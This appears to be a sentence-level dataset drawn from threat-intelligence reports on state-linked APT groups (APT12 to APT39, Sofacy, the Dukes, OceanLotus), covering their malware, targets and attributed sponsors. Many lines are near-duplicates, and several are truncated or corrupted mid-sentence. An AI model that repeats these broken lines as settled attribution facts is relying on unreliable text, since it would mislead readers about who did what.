From October 2012 to May 2014 , FireEye observed APT12 utilizing RIPTIDE , that communicates via HTTP to a hard-coded command and control ( C2 ) server .
Similar to RIPTIDE campaigns , APT12 infects target systems with HIGHTIDE using a Microsoft Word ( .doc ) document that exploits CVE-2012-0158 .
FireEye believes the change from RIPTIDE to HIGHTIDE represents a temporary tool shift to decrease malware detection while APT12 developed a completely new malware toolset .
They have largely targeted organizations involved in financial , economic and trade policy , typically using publicly available RATs such as Poison Ivy , as well some non-public backdoors .
A China-based cyber threat group , which FireEye tracks as an uncategorized advanced persistent threat ( APT ) group and other researchers refer to as admin@338 , may have conducted the activity .
The group previous activities against financial and policy organizations have largely focused on spear phishing emails written in English , destined for Western audiences .
About four months after The New York Times publicized an attack on its network , the APT12 behind the intrusion deployed updated versions of their Backdoor.APT.Aumlib and Backdoor.APT.Ixeshe malware families .
With this in mind , this week we are providing some indicators for a China based adversary who we crypt as " NUMBERED PANDA " Numbered Panda has a long list of high-profile victims and is known by a number of names including : DYNCALC , IXESHE , JOY RAT , APT-12 , etc .
Numbered Panda has a long list of high-profile victims and is known by a number of names including : DYNCALC , IXESHE , JOY RAT , APT-12 , etc .
The new campaigns mark the first significant stirrings from the APT12 since it went silent in January in the wake of a detailed expose of the group and its exploits — and a retooling of what security researchers believe is a massive spying operation based in China .
Between November 26 , 2015 , and December 1 , 2015 , known and suspected China-based APT16 launched several spear phishing attacks targeting Japan and Taiwan in the high-tech , government services , media and financial services industries .
Between November 26 , 2015 , and December 1 , 2015 , known and suspected China-based APT groups launched several spear phishing attacks targeting Japanese and Taiwanese organizations in the high-tech , government services , media and financial services industries .
On November 26 , 2015 , a suspected China-based APT16 sent Japanese defense policy-themed spear phishing emails to multiple Japanese financial and high-tech companies .
On November 26 , 2015 , a suspected China-based APT group sent Japanese defense policy-themed spear phishing emails to multiple Japanese financial and high-tech companies .
While attribution of the first two spear phishing attacks is still uncertain , we attribute the second December phishing campaign to the China-based APT group that we refer to as APT16 .
APT16 actors sent spear phishing emails to two Taiwanese media organizations .
On the same date that APT16 targeted Taiwanese media , suspected Chinese APT actors also targeted a Taiwanese government agency , sending a lure document that contained instructions for registration and subsequent listing of goods on a local Taiwanese auction website .
It is possible , although not confirmed , that APT16 was also responsible for targeting this government agency , given both the timeframe and the use of the same n-day to eventually deploy the ELMER backdoor .
Despite the differing sponsorship , penetration of Hong Kong and Taiwan-based media organizations continues to be a priority for China-based APT16 .
The suspected APT16 targeting of the Taiwanese government agency – in addition to the Taiwanese media organizations – further supports this possibility .
APT17 was embedding the encoded CnC IP address for the BLACKCOFFEE malware in legitimate Microsoft TechNet profiles pages and forum threads , a method some in the information security community call a " dead drop resolver " .
APT17 , also known as DeputyDog , is a China-based threat group that FireEye Intelligence has observed conducting network intrusions against U.S. government entities , the defense industry , law firms , information technology companies , mining companies , and non-government organizations .
FireEye has monitored APT17 's use of BLACKCOFFEE variants since 2013 to masquerade malicious communication as normal web traffic by disguising the CnC communication as queries to web search engines .
The use of BLACKCOFFEE demonstrates APT17 's evolving use of public websites to hide in plain sight .
TG-0416 is a stealthy and extremely successful Advanced Persistent Threat ( APT ) group known to target a broad range of verticals since at least 2009 , including technology , industrial , manufacturing , human rights groups , government , pharmaceutical , and medical technology .
The APT18 then installed the hcdLoader RAT , which installs as a Windows service and provides command line access to the compromised system .
The malware used by the Wekby group has ties to the HTTPBrowser malware family , and uses DNS requests as a command and control mechanism .
These URIs result in the download of an installer , which creates a PE of the malware typically known as HTTPBrowser , but called Token Control by the Wekby group themselves ( based upon the PDB strings found within many of the samples ) .
APT19 seemed to be going after defense sector firms , Chinese dissident groups and political , financial , pharmaceutical and energy sectors that could benefit the Chinese economy .
APT19 seemed to be going after defense sector firms , Chinese dissident groups and other political target , as well as certain financial targets and other commercial targets in pharmaceutical and energy sectors that could benefit the Chinese economy .
FANCY BEAR ( also known as Sofacy or APT 28 ) is a separate Russian-based threat actor , which has been active since mid 2000s , and has been responsible for targeted intrusion campaigns against the Aerospace , Defense , Energy , Government and Media sectors .
APT28 malware , in particular the family of modular backdoors that we call CHOPSTICK , indicates a formal code development environment .
However , three themes in APT28 's targeting clearly reflects areas of specific interest to an Eastern European government , most likely the Russian government .
We identified three themes in APT28 's lures and registered domains , which together are particularly relevant to the Russian government .
Georgian military security issues , particularly with regard to U.S. cooperation and NATO , provide a strong incentive for Russian state-sponsored threat actors to steal information that sheds light on these topics .
Instead , we observed the two Russian espionage groups compromise the same systems and engage separately in the theft of identical credentials .
APT28 's malware settings suggest that the developers have done the majority of their work in a Russian language build environment during Russian business hours , which suggests that the Russian government is APT28 's sponsor .
We believe that APT28 's targeting of the MOD aligns with Russian threat perceptions .
We assess that APT28 is most likely sponsored by the Russian government .
Given the available data , we assess that APT28 's work is sponsored by the Russian government .
The targets were similar to a 2015 TG-4127 campaign — individuals in Russia and the former Soviet states , current and former military and government personnel in the U.S. and Europe , individuals working in the defense and government supply chain , and authors and journalists — but also included email accounts linked to the November 2016 United States presidential election .
The targets of TG-4127 include military , government and defense sectors .
Some of APT28 's more commonly used tools are the SOURFACE downloader , its second stage backdoor EVILTOSS , and a modular family of implants that we call CHOPSTICK .
While TG-4127 continues to primarily threaten organizations and individuals operating in Russia and former Soviet states , this campaign illustrates its willingness to expand its scope to other targets that have intelligence of interest to the Russian government .
CTU researchers assess with moderate confidence that the group is operating from the Russian Federation and is gathering intelligence on behalf of the Russian government .
This intelligence has been critical to protecting and informing our clients , exposing this threat , and strengthening our confidence in attributing APT28 to the Russian Government .
Our visibility into the operations of APT28 - a group we believe the Russian Government sponsors - has given us insight into some of the government 's targets , as well as its objectives and the activities designed to further them .
Since at least 2007 , APT28 has engaged in extensive operations in support of Russian strategic interests .
APT28 espionage activity has primarily targeted entities in the U.S. , Europe , and the countries of the former Soviet Union , including governments , militaries , defense attaches , media entities , and dissidents and figures opposed to the current Russian Government .
APT28 espionage activity has primarily targeted entities in the U.S. , Europe , and the countries of the former Soviet Union , including governments and militaries , defense attaches , media entities , and dissidents and figures opposed to the current Russian Government .
Over the past two years , Russia appears to have increasingly leveraged APT28 to conduct information operations commensurate with broader strategic military doctrine .
After compromising a victim organization , APT28 will steal internal data that is then leaked to further political narratives aligned with Russian interests .
After compromising a political organization , APT28 will steal internal data .
On December 29 , 2016 , the Department of Homeland Security ( DHS ) and Federal Bureau of Investigation ( FBI ) released a Joint Analysis Report confirming FireEye 's long held public assessment that the Russian Government sponsors APT28 .
In October 2014 , FireEye released APT28 : A Window into Russia 's Cyber Espionage Operations , and characterized APT28 's activity as aligning with the Russian Government 's strategic intelligence requirements .
In October 2014 , FireEye released APT28 : A Window into Russia 's Cyber Espionage Operations' , and characterized APT28 's activity as aligning with the Russian Government 's strategic intelligence requirements .
APT28 targets Russian rockers and dissidents Pussy Riot via spear-phishing emails .
Our investigation of APT28 's compromise of WADA 's network , and our observations of the surrounding events reveal how Russia sought to counteract a damaging narrative and delegitimize the institutions leveling criticism .
Since releasing our 2014 report , we continue to assess that APT28 is sponsored by the Russian Government .
In our 2014 report , we identified APT28 as a suspected Russian government-sponsored espionage actor .
For full details , please reference our 2014 report , APT28 : A Window into Russia 's Cyber Espionage OperationsThe espionage group , which according to the U.S. Department of Homeland Security ( DHS ) and the Federal Bureau of Investigation ( FBI ) is linked to the Russian government , returned to low-key intelligence-gathering operations during 2017 and into 2018 , targeting a range of military and government targets in Europe and South America .
The APT28 , which is linked to the Russian government , returned to low-key intelligence-gathering operations during 2017 and into 2018 , targeting a range of military and government targets in Europe and South America .
Another attack group , Earworm ( aka Zebrocy ) , has been active since at least May 2016 and is involved in what appears to be intelligence gathering operations against military targets in Europe , Central Asia , and Eastern Asia .
Several sources consider APT28 a group of CyberMercs based in Russia .
The primary targets of APT28 are potential victims in several countries such as Ukraine , Spain , Russia , Romania , the United States and Canada .
We have reasons to believe that the operators of the APT28 network are either Russian citizens or citizens of a neighboring country that speak Russian .
Previous work published by security vendor FireEye in October 2014 suggests the group might be of Russian origin .
Finally , the use of recent domestic events and a prominent US military exercise focused on deterring Russian aggression highlight APT28 's ability and interest in exploiting geopolitical events for their operations .
In 2013 , the Sofacy group expanded their arsenal and added more backdoors and tools , including CORESHELL , SPLM , JHUHUGIT , AZZY and a few others .
In 2013 , the Sofacy group expanded their arsenal and added more backdoors and tools , including CORESHELL , SPLM ( aka Xagent , aka CHOPSTICK ) , JHUHUGIT ( which is built with code from the Carberp sources ) , AZZY ( aka ADVSTORESHELL , NETUI , EVILTOSS , and spans across 4-5 generations ) and a few others .
The Sofacy group spearphished targets in several waves with Flash exploits leading to their Carberp based JHUHUGIT downloaders and further stages of malware .
APT28 spearphished targets in several waves with Flash exploits leading to their Carberp based JHUHUGIT downloaders and further stages of malware .
The group spearphished targets in several waves with Flash exploits leading to their Carberp based JHUHUGIT downloaders and further stages of malware .
Their evolving and modified SPLM , CHOPSTICK , XAgent code is a long-standing part of Sofacy activity , however much of it is changing .
FireEye has moderate confidence that a campaign targeting the hospitality sector is attributed to Russian actor APT28 .
APT28 is using novel techniques involving the EternalBlue exploit and the open source tool Responder to spread laterally through networks and likely target travelers .
Upon gaining access to the machines connected to corporate and guest Wi-Fi networks , APT28 deployed Responder .
Compared to other backdoor tools associated with the Sofacy group , the use of Zebrocy in attack campaigns is far more widespread .
As alluded to in our previous blog regarding the Cannon tool , the Sofacy group ( AKA Fancy Bear , APT28 , STRONTIUM , Pawn Storm , Sednit ) has persistently attacked various government and private organizations around the world from mid-October 2018 through mid-November 2018 .
Russian citizens—journalists , software developers , politicians , researchers at universities , and artists are also targeted by Pawn Storm .
The JHUHUGIT implant became a relatively popular first stage for the Sofacy attacks and was used again with a Java zero-day ( CVE-2015-2590 ) in July 2015 .
While the JHUHUGIT ( and more recently , " JKEYSKW " ) implant used in most of the Sofacy attacks , high profile victims are being targeted with another first level implant , representing the latest evolution of their AZZY Trojan .
Once a foothold is established , Sofacy trys to upload more backdoors , USB stealers as well as other hacking tools such as " Mimikatz " for lateral movement .
Once a foothold is established , they try to upload more backdoors , USB stealers as well as other hacking tools such as " Mimikatz " for lateral movement .
The Sofacy threat group continues to target government organizations in the EU , US , and former Soviet states to deliver the Zebrocy tool as a payload .
Of note , we also discovered the Sofacy group using a very similar delivery document to deliver a new Trojan called Cannon .
Komplex shares a significant amount of functionality and traits with another tool used by Sofacy – the Carberp variant that Sofacy had used in previous attack campaigns on systems running Windows .
The Sofacy group created the Komplex Trojan to use in attack campaigns targeting the OS X operating system – a move that showcases their continued evolution toward multi-platform attacks .
The Komplex Trojan revealed a design similar to Sofacy 's Carberp variant Trojan , which we believe may have been done in order to handle compromised Windows and OS X systems using the same C2 server application with relative ease .
This whitepaper explores the tools - such as MiniDuke , CosmicDuke , OnionDuke , CozyDuke , etc- of the Dukes , a well-resourced , highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making .
The Dukes are a well-resourced , highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making .
The Dukes are known to employ a vast arsenal of malware toolsets , which we identify as MiniDuke , CosmicDuke , OnionDuke , CozyDuke , CloudDuke , SeaDuke , HammerDuke , PinchDuke , and GeminiDuke .
The origins of the Duke toolset names can be traced back to when researchers at Kaspersky Labs coined the term " MiniDuke " to identify the first Duke-related malware they found .
As researchers continued discovering new toolsets that were created and used by the same group that had been operating MiniDuke , and thus the threat actor operating the toolsets started to be commonly referred to as " Dukes " .
Based on the campaign identifiers found in PinchDuke samples discovered from 2009 , the targets of the Dukes group during that year included organizations such as the Ministry of Defense of Georgia and the ministries of foreign affairs of Turkey and Uganda .
Importantly , PinchDuke trojan samples always contain a notable text string , which we believe is used as a campaign identifier by the Dukes group to distinguish between multiple attack campaigns that are run in parallel .
This neatly ties together many of the tools used by the Dukes group , as versions of this one loader have been used to load malware from three different Dukes-related toolsets CosmicDuke , PinchDuke , and MiniDuke – over the course of five years .
The Dukes continued the expansion of their arsenal in 2011 with the addition of two more toolsets : MiniDuke and CozyDuke .
As we now know , by February 2013 the Dukes group had been operating MiniDuke and other toolsets for at least 4 and a half years .
Secondly , the value the Dukes intended to gain from these MiniDuke campaigns may have been so great that they deemed it worth the risk of getting noticed .
This is in stark contrast to some other suspected Russian threat actors ( such as Operation Pawn Storm ) who appear to have increased their targeting of Ukraine following the crisis .
The Dukes actively targeted Ukraine before the crisis , at a time when Russia was still weighing her options , but once Russia moved from diplomacy to direct action , Ukraine was no longer relevant to the Dukes in the same way .
In the latter case however , the Dukes group appear to have also simultaneously developed an entirely new loader , which we first observed being used in conjunction with CosmicDuke during the spring of 2015 .
The Dukes could have ceased all use of CosmicDuke ( at least until they had developed a new loader ) or retired it entirely , since they still had other toolsets available .
For these CozyDuke campaigns however , the Dukes appear to have employed two particular later-stage toolsets , SeaDuke and HammerDuke .
Firstly , as with the MiniDuke campaigns of February 2013 and CosmicDuke campaigns in the summer of 2014 , again the group clearly prioritized the continuation of their operations over maintaining stealth .
In addition to the notably overt and large-scale campaigns with CozyDuke and CloudDuke , the Dukes also continued to engage in more covert , surgical campaigns using CosmicDuke .
We are however only aware of one instance - the exploitation of CVE-2013-0640 to deploy MiniDuke - where we believe the exploited vulnerability was a zero-day at the time that the group acquired the exploit .
All of the available evidence however does in our opinion suggest that the group operates on behalf of the Russian Federation .
This assertion of time zone is also supported by timestamps found in many GeminiDuke samples , which similarly suggest the group work in the Moscow Standard Time timezone , as further detailed in the section on the technical analysis of GeminiDuke .
Mandiant has observed Russian nation-state attackers APT29 employing domain fronting techniques for stealthy backdoor access to victim environments for at least two years .
APT29 has used The Onion Router and the TOR domain fronting plugin meek to create a hidden , encrypted network tunnel that appeared to connect to Google services over TLS .
Mandiant has observed APT29 using a stealthy backdoor that we call POSHSPY .
Mandiant has since identified POSHSPY in several other environments compromised by APT29 over the past two years .
In the investigations Mandiant has conducted , it appeared that APT29 deployed POSHSPY as a secondary backdoor for use if they lost access to their primary backdoors .
POSHSPY is an excellent example of the skill and craftiness of APT29 .
FireEye assesses that APT32 leverages a unique suite of fully-featured malware , in conjunction with commercially-available tools , to conduct targeted operations that are aligned with Vietnamese state interests .
In addition to focused targeting of the private sector with ties to Vietnam , APT32 has also targeted foreign governments , as well as Vietnamese dissidents and journalists since at least 2013 .
From 2016 through 2017 , two subsidiaries of U.S. and Philippine consumer products corporations , located inside Vietnam , were the target of APT32 intrusion operations .
From 2016 through 2017 , two consumer products corporations , located inside Vietnam , were the target of APT32 intrusion operations .
In 2014 , APT32 leveraged a spear-phishing attachment titled " Plans to crackdown on protesters at the Embassy of Vietnam.exe , " which targeted dissident activity among the Vietnamese diaspora in Southeast Asia .
In 2015 and 2016 , two Vietnamese media outlets were targeted with malware that FireEye assesses to be unique to APT32 .
In 2014 , APT32 leveraged a spear-phishing attachment titled " Plans to crackdown on protesters at the Embassy of Vietnam.exe " .
Since at least 2014 , FireEye has observed APT32 targeting foreign corporations with a vested interest in Vietnam 's manufacturing , consumer products , and hospitality sectors .
APT32 operations are characterized through deployment of signature malware payloads including WINDSHIELD , KOMPROGO , SOUNDBITE , and PHOREAL .
In 2017 , social engineering content in lures used by the actor provided evidence that they were likely used to target members of the Vietnam diaspora in Australia as well as government employees in the Philippines .
APT32 often deploys these backdoors along with the commercially-available Cobalt Strike BEACON backdoor .
APT32 often deploys these backdoors along with the commercially-available Cobalt Strike backdoor .
Based on incident response investigations , product detections , and intelligence observations along with additional publications on the same operators , FireEye assesses that APT32 is a cyber espionage group aligned with Vietnamese government interests .
OceanLotus , also known as APT32 , is believed to be a Vietnam-based APT group that has become increasingly sophisticated in its attack tactics , techniques , and procedures ( TTPs ) .
While Volexity does not typically engage in attempting attribution of any threat actor , Volexity does agree with previously reported assessments that OceanLotus is likely operating out of Vietnam .
During that phase , the APT32 operated a fileless PowerShell-based infrastructure , using customized PowerShell payloads taken from known offensive frameworks such as Cobalt Strike , PowerSploit and Nishang .
However , over the past few years , we have been tracking a separate , less widely known suspected Iranian group with potential destructive capabilities , whom we call APT33 .
Our analysis reveals that APT33 is a capable group that has carried out cyber espionage operations since at least 2013 .
We assess APT33 works at the behest of the Iranian government .
APT33 has targeted organizations – spanning multiple industries – headquartered in the United States , Saudi Arabia and South Korea .
Cybereason also attributes the recently reported Backdoor.Win32.Denis to the OceanLotus Group , which at the time of this report 's writing , had not been officially linked to this threat actor .
APT33 has shown particular interest in organizations in the aviation sector , as well as organizations in the energy sector with ties to petrochemical production .
From mid-2016 through early 2017 , APT33 compromised a U.S. organization in the aerospace sector and targeted a business conglomerate located in Saudi Arabia with aviation holdings .
From mid-2016 through early 2017 , APT33 compromised organizations located in Saudi Arabia and U.S. in the aerospace sector .
During the same time period , APT33 also targeted companies in South Korea involved in oil refining and petrochemicals .
More recently , in May 2017 , APT33 appeared to target a Saudi organization and a South Korean business conglomerate using a malicious file that attempted to entice victims with job vacancies for a Saudi Arabian petrochemical company .
More recently , in May 2017 , APT33 appeared to target organizations in Saudi and South Korea using a malicious file that attempted to entice victims with job vacancies .
We assess the targeting of multiple companies with aviation-related partnerships to Saudi Arabia indicates that APT33 may possibly be looking to gain insights on Saudi Arabia 's military aviation capabilities to enhance Iran 's domestic aviation capabilities or to support Iran 's military and strategic decision making vis a vis Saudi Arabia .
APT33 may possibly be looking to gain insights on Saudi Arabia 's military aviation capabilities to enhance Iran 's domestic aviation capabilities or to support Iran 's military and strategic decision making vis a vis Saudi Arabia .
The generalized targeting of organizations involved in energy and petrochemicals mirrors previously observed targeting by other suspected Iranian threat groups , indicating a common interest in the sectors across Iranian actors .
APT33 sent spear phishing emails to employees whose jobs related to the aviation industry .
APT33 registered multiple domains that masquerade as Saudi Arabian aviation companies and Western organizations that together have partnerships to provide training , maintenance and support for Saudi 's military and commercial fleet .
We identified APT33 malware tied to an Iranian persona who may have been employed by the Iranian government to conduct cyber threat activity against its adversaries .
APT33 's targeting of organizations involved in aerospace and energy most closely aligns with nation-state interests , implying that the threat actor is most likely government sponsored .
APT33 leverages popular Iranian hacker tools and DNS servers used by other suspected Iranian threat groups .
This coupled with the timing of operations – which coincides with Iranian working hours – and the use of multiple Iranian hacker tools and name servers bolsters our assessment that APT33 may have operated on behalf of the Iranian government .
The publicly available backdoors and tools utilized by APT33 – including NANOCORE , NETWIRE , and ALFA Shell – are all available on Iranian hacking websites , associated with Iranian hackers , and used by other suspected Iranian threat groups .
APT33 's focus on aviation may indicate the group 's desire to gain insight into regional military capabilities to enhance Iran 's aviation capabilities or to support Iran 's military and strategic decision making .
Specifically , the targeting of organizations in the aerospace and energy sectors indicates that the APT33 is likely in search of strategic intelligence capable of benefitting a government or military sponsor .
APT33 's focus on aviation may indicate the group 's desire to gain insight into regional military aviation capabilities to enhance Iran 's aviation capabilities or to support Iran 's military and strategic decision making .
We expect APT33 activity will continue to cover a broad scope of targeted entities , and may spread into other regions and sectors as Iranian interests dictate .
The Elfin espionage group ( aka APT33 ) has remained highly active over the past three years , attacking at least 50 organizations in Saudi Arabia , the United States , and a range of other countries .
On May 16 , 2019 FireEye 's Advanced Practices team attributed the remaining " suspected APT33 activity " ( referred to as GroupB in this blog post ) to APT33 , operating at the behest of the Iranian government .
The Elfin group ( aka APT33 ) has remained highly active over the past three years , attacking at least 50 organizations in Saudi Arabia , the United States , and a range of other countries .
On May 16 , 2019 FireEye 's Advanced Practices team attributed the remaining " suspected APT33 activity " to APT33 , operating at the behest of the Iranian government .
APT37 has likely been active since at least 2012 and focuses on targeting the public and private sectors primarily in South Korea .
In 2017 , APT37 expanded its targeting beyond the Korean peninsula to include Japan , Vietnam and the Middle East , and to a wider range of industry verticals , including chemicals , electronics , manufacturing , aerospace , automotive and healthcare entities .
In 2017 , APT37 targeted a company in Middle East that entered into a joint venture with the North Korean government to provide telecommunications service to the country .
While not conclusive by itself , the use of publicly available Iranian hacking tools and popular Iranian hosting companies may be a result of APT33 's familiarity with them and lends support to the assessment that APT33 may be based in Iran .
North Korean defector and human rights-related targeting provides further evidence that APT37 conducts operations aligned with the interests of North Korea .
In 2017 , APT37 targeted a Middle Eastern company that entered into a joint venture with the North Korean government to provide telecommunications service to the country ( read on for a case study ) .
APT37 targeted a research fellow , advisory member , and journalist associated with different North Korean human rights issues and strategic organizations .
APT37 distributed SLOWDRIFT malware using a lure referencing the Korea Global Forum against academic and strategic institutions located in South Korea .
We believe a organization located in Middle East was targeted by APT37 because it had been involved with a North Korean company and a business deal went bad .
In one instance , APT37 weaponized a video downloader application with KARAE malware that was indiscriminately distributed to South Korean victims through torrent websites .
FireEye confirmed that since at least November 2017 , APT37 exploited a zero-day Adobe Flash vulnerability , CVE-2018-4878 , to distribute DOGCALL malware to South Korean victims .
FireEye iSIGHT Intelligence confirmed that since at least November 2017 , APT37 exploited a zero-day Adobe Flash vulnerability , CVE-2018-4878 , to distribute DOGCALL malware to South Korean victims .
In April 2017 , APT37 targeted South Korean military and government organizations with the DOGCALL backdoor and RUHAPPY wiper malware .
It is possible that APT37 's distribution of KARAE malware via torrent websites could assist in creating and maintaining botnets for future distributed denial-of-service ( DDoS ) attacks , or for other activity such as financially motivated campaigns or disruptive operations .
We assess with high confidence that APT37 acts in support of the North Korean government and is primarily based in North Korea .
The compilation times of APT37 malware is consistent with a developer operating in the North Korea time zone ( UTC +8:30 ) and follows what is believed to be a typical North Korean workday .
The majority of APT37 activity continues to target South Korea , North Korean defectors , and organizations and individuals involved in Korean Peninsula reunification efforts .
Similarly , APT37 targeting of a company located in Middle East in 2017 is also consistent with North Korean objectives given the entity 's extensive relationships inside North Korea .
Similarly , APT37 targeting of a Middle Eastern company in 2017 is also consistent with North Korean objectives given the entity 's extensive relationships inside North Korea .
In May 2017 , APT37 used a bank liquidation letter as a spear phishing lure against a board member of a Middle Eastern financial company .
Though they have primarily tapped other tracked suspected North Korean teams to carry out the most aggressive actions , APT37 is an additional tool available to the regime , perhaps even desirable for its relative obscurity .
ScarCruft is a relatively new APT group , victims have been observed in Russia , Nepal , South Korea , China , India , Kuwait and Romania .
Certain details , such as using the same infrastructure and targeting , make us believe that Operation Daybreak is being done by the ScarCruft APT group .
Prior to the discovery of Operation Daybreak , we observed the ScarCruft APT launching a series of attacks in Operation Erebus .
Operation Daybreak appears to have been launched by unknown attackers to infect high profile targets through spear-phishing e-mails .
Operation Daybreak appears to have been launched by APT37 to infect high profile targets through spear-phishing e-mails .
On occasion the APT37 directly included the ROKRAT payload in the malicious document and during other campaigns the attackers leveraged multi-stage infection processes .
In the early part of 2017 , Group123 started the " Evil New Year " campaign .
In November 2017 , Talos observed the latest Group123 campaign of the year , which included a new version of ROKRAT being used in the latest wave of attacks .
Group123 is constantly evolving as the new fileless capability that was added to ROKRAT demonstrates .
In this campaign , the Group123 used a classical HWP document in order to download and execute a previously unknown malware : NavRAT .
However , we asses with medium confidence that NavRAT is linked to Group123 .
APT38 is a financially motivated North Korean regime-backed group responsible for conducting destructive attacks against financial institutions , as well as some of the world 's largest cyber heists .
APT38 is a financially motivated North Korean regime-backed group responsible for conducting destructive attacks against financial institutions , as well as some of the world .
APT38 is believed to operate more similarly to an espionage operation , carefully conducting reconnaissance within compromised financial institutions and balancing financially motivated objectives with learning about internal systems .
The group has compromised more than 16 organizations in at least 13 different countries , sometimes simultaneously , since at least 2014 .
APT38 shares malware code and other development resources with TEMP.Hermit North Korean cyber espionage activity , although we consider APT38 .
We consider APT38 's operations more global and highly specialized for targeting the financial sector .
APT38 is a financially motivated group linked to North Korean cyber espionage operators , renown for attempting to steal hundreds of millions of dollars from financial institutions and their brazen use of destructive malware .
Because APT38 is backed by ( and acts on behalf of ) the North Korean regime , we opted to categorize the group as an " APT " instead of a " FIN " .
Over time these malware similarities diverged , as did targeting , intended outcomes , and TTPs , almost certainly indicating that TEMP.Hermit activity is made up of multiple operational groups primarily linked together with shared malware development resources and North Korean state sponsorship .
Based on observed activity , we judge that APT38 's primary mission is targeting financial institutions and manipulating inter-bank financial systems to raise large sums of money for the North Korean regime .
Since 2015 , APT38 has attempted to steal hundreds of millions of dollars from financial institutions .
APT38 has pursued their main objective of targeting banks and financial entities since at least 2014 .
We surmise that the targeting of banks , media , and government agencies is conducted in support of APT38 's primary mission .
The APT38 targeted news outlets known for their business and financial sector reporting , probably in support of efforts to identify and compromise additional financial institutions .
APT38 also targeted financial transaction exchange companies likely because of their proximity to banks .
Given the lapse in time between the spear-phishing and the heist activity in the above example , we suggest two separate but related groups under the North Korean regime were responsible for carrying out missions ; one associated with reconnaissance ( TEMP.Hermit or a related group ) and another for the heists ( APT38 ) .
APT38 , in particular , is strongly distinguishable because of its specific focus on financial institutions and operations that attempt to use SWIFT fraud to steal millions of dollars at a time .
We can confirm that the APT38 operator activity is linked to the North Korean regime , but maintains a set of common characteristics , including motivation , malware , targeting , and TTPs that set it apart from other statesponsored operations .
As previously mentioned , we assess with high confidence that APT38 's mission is focused on targeting financial institutions to raise money for the North Korean regime .
As previously mentioned , we assess with high confidence that APT38 's mission is focused on targeting financial institutions and financial systems to raise money for the North Korean regime .
Although the APT38 's primary targets appear to be Financial Exchange banks and other financial organizations , they have also Financial Exchange targeted countries ' media organizations with a focus on the financial sector .
Since at least the beginning of 2014 , APT38 operations have focused almost exclusively on developing and conducting financially motivated campaigns targeting international entities , whereas TEMP.Hermit is generally linked to operations focused on South Korea and the United States .
TEMP.Hermit is generally linked to operations focused on South Korea and the United States .
While North Korean cyber operations against specific countries may have been driven by diplomatic factors and perceived insults against Pyongyang , the application of increasingly restrictive and numerous financial sanctions against North Korea probably contributed to the formation of APT38 .
APT38 's operations began in February 2014 and were likely influenced by financial sanctions enacted in March 2013 that blocked bulk cash transfers and restricted North Korea 's access to international banking systems .
APT37 ( Reaper ) , another North Korean state-sponsored group , targeted a Middle Eastern financial company , but there was no evidence of financial fraud .
APT37 , another North Korean state-sponsored group , targeted a Middle Eastern financial company , but there was no evidence of financial fraud .
Early APT38 operations suggest that the group began targeting financial institutions with an intent to manipulate financial transaction systems at least as early as February 2014 , although we did not observe fraudulent transactions until 2015 .
We do not have evidence that the earliest targeted financial institutions were victimized by fraudulent transactions before APT38 left the compromised environments , possibly indicating that APT38 was conducting reconnaissance-only activity at that time .
In early 2014 , the APT38 deployed NESTEGG ( a backdoor ) and KEYLIME ( a keylogger ) malware designed to impact financial institution-specific systems at a Southeast Asian bank .
In early 2014 , the APT38 deployed NESTEGG ( a backdoor ) and KEYLIME ( a keylogger ) malware designed to impact financial institution-specific systems at a Southeast Asian bank .
From November 2015 through the end of 2016 , APT38 was involved in at least nine separate compromises against banks .
Per the complaint , the email account watsonhenny@gmail.com was used to send LinkedIn invitations to employees of a bank later targeted by APT38 .
Further , the recent DOJ complaint provides insight into initial compromise techniques conducted by North Korean operators against APT38 targets , which may have been leveraged as part of the initial compromise into the targeted organizations .
This is corroborated by our identification of TEMP.Hermit 's use of MACKTRUCK at a bank , preceding the APT38 operation targeting the bank 's SWIFT systems in late 2015 .
APT38 relies on DYEPACK , a SWIFT transaction-hijacking framework , to initiate transactions , steal money , and hide any evidence of the fraudulent transactions from the victimized bank .
The APT38 uses DYEPACK to manipulate the SWIFT transaction records and hide evidence of the malicious transactions , so bank personnel are none the wiser when they review recent transactions .
During this heist , APT38 waited for a holiday weekend in the respective countries to increase the likelihood of hiding the transactions from banking authorities .
During one reported incident , APT38 caused an outage in the bank 's essential services .
We attribute APT38 to North Korean state-sponsored operators based on a combination of technical indicators linking the activity to Pyongyang and details released by DOJ implicating North Korean national Park Jin Hyok in a criminal conspiracy .
As detailed in the DOJ complaint , a sample of WHITEOUT malware we attribute to APT38 was used between 2015 and 2016 against a Southeast Asian bank .
APT38 's increasingly aggressive targeting against banks and other financial institutions has paralleled North Korea 's worsening financial condition .
APT38 's increasingly aggressive targeting against banks and other financial institutions has paralleled North Korea 's worsening financial condition .
APT38 's increasingly aggressive targeting against banks and other financial institutions has paralleled North Korea 's worsening financial condition .
Malware overlaps between APT38 and TEMP.Hermit highlight the shared development resources accessible by multiple operational groups linked to North Korean state-sponsored activity .
APT39 has prioritized the telecommunications sector , with additional targeting of the travel industry and IT firms that support it and the high-tech industry .
This is evidence of shared motivation and intent to target the SWIFT system by the North Korean operators performing the reconnaissance and APT38 which later targeted that organization .
Although APT38 is distinct from other TEMP.Hermit activity , both groups operate consistently within the interests of the North Korean state .
Based on details published in the DOJ complaint against North Korean programmer Park Jin Hyok , we know that APT38 and other cyber operators linked to TEMP.Hermit are associated with Lab 110 , an organization subordinate to or synonymous with the 6th Technical Bureau in North Korea .
As detailed in the DOJ complaint , a sample of WHITEOUT ( aka Contopee ) malware we attribute to APT38 was used between 2015 and 2016 against a Southeast Asian bank .
Based on details published in the DOJ complaint against North Korean programmer Park Jin Hyok , we know that APT38 and other cyber operators linked to TEMP.Hermit are associated with Lab 110 , an organization subordinate to or synonymous with the 6th Technical Bureau in North Korea 's Reconnaissance General Bureau ( RGB ) .
As detailed in the DOJ complaint , a sample of WHITEOUT ( aka Contopee ) malware we attribute to APT38 was used between 2015 and 2016 against a Southeast Asian bank .
APT38 's targeting of financial institutions is most likely an effort by the North Korean government to supplement their heavily-sanctioned economy .
We have moderate confidence APT39 operations are conducted in support of Iranian national interests based on regional targeting patterns focused in the Middle East .
APT39 's focus on the widespread theft of personal information sets it apart from other Iranian groups FireEye tracks , which have been linked to influence operations , disruptive attacks , and other threats .
APT39 's focus on the telecommunications and travel industries suggests intent to perform monitoring , tracking , or surveillance operations against specific individuals , collect proprietary or customer data for commercial or operational purposes that serve strategic requirements related to national priorities , or create additional accesses and vectors to facilitate future campaigns .
